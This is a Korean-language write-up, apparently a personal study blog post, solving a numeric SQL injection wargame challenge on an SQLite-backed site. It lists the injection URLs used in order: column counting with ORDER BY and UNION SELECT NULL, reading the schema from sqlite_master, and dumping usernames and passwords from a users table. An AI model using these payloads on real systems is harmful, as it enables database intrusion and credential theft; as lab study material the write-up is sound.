SQL Injection문제입니다. 관리자의 패스워드를 알아야하는 문제군요.
스크린 샷을 찍지는 않았지만, 문제를 들어가보면 메뉴가 3개가 나와있습니다. 그 중 첫번째 메뉴를 클릭하면 URL상에 파라미터가 action=news&news_id=1 이 전송됩니다.
문제 이름이 numeric인 만큼 news_id 파라미터가 매우 의심이 가는데요,
1. ?action=news&news_id=2-1 << 시도해보았습니다.
결과 ; 에러 출력 없이 첫번째 메뉴가 정상적으로 열람되는 것을 보아 정수형 SQL Injection이 가능하다는 판단을 내릴 수 있습니다.
2. ?action=news&news_id=1' << 이번에는 SQL Injection의 기본 형태인 싱글쿼터(')를 삽입해보았습니다.
에러 메시지로 SQLite3 데이터 베이스를 사용하고 있다는 것을 알 수 있습니다. 또한, '가 \로 치환되어 인식이 안된다는 것도 알 수 있군요..
3. 필드 갯수 구하기 ?action=news&news_id=1 order by 1--
?action=news&news_id=1 order by 2--
?action=news&news_id=1 order by 3--
?action=news&news_id=1 order by 4-- << 에러 출력
order by 구문을 이용하여 필드의 갯수가 3개 인 것을 알 수 있었습니다. (order by 4--를 시도하면 에러가 출력되기 때문입니다.)
※ order by 구문과 동일한 역할을 하는 것이 union all select 구문입니다.
?antion=news&news_id=1 union all select null;
?antion=news&news_id=1 union all select null, null;
?antion=news&news_id=1 union all select null, null, null;
?antion=news&news_id=1 union all select null, null, null, null; << 에러 출력
null 인자를 하나씩 추가하여 필드 갯수 파악이 가능합니다.
4. sql query 문을 이용한 스키마 정보 파악 ?action=news&news_id=1 union select 1, sql, 3 from sqlite_master--
에러 메시지를 통해 sqlite3 데이터베이스를 사용하고 있다는 것을 파악했고, 찾아보니 sqlite의 데이터베이스의 스키마를 sqlite_master 테이블에 저장하고 있다고 하네요.
union select 구문은 컬럼 갯수를 맞춰야 하므로 1, sql, 3 으로 설정해서 sql 필드 정보를 알아보았습니다.
※ sql 필드에는 데이터베이스 생성 시 사용된 스키마 정보 중 테이블을 생성하는 CREATE TABLE 구문이 저장되어 있습니다.
결과를 보니 저희에게 필요한 테이블은 users 테이블이고, username과 password 컬럼을 출력해주면 되겠군요!!
5. username, password 출력 ?action=news&news_id=1 union select username, password, 3 from users--
마지막 작업 입니다.
users 테이블에서 username과 password(year라는 컬럼이 하나 더 있으므로 3 추가) 해주면
결과가 출력되었습니다!!~~
admin의 패스워드가 flag 값입니다.
'Study > Wargame' 카테고리의 다른 글
[root-me] PHP filters (0) | 2019.01.16 |
---|---|
root-me >> SQL injection - blind (0) | 2018.06.08 |
root-me >> Command injection (0) | 2018.04.24 |
root-me >> HTTP Header (0) | 2018.02.23 |
root-me >> SQL injection - authentication (0) | 2018.02.22 |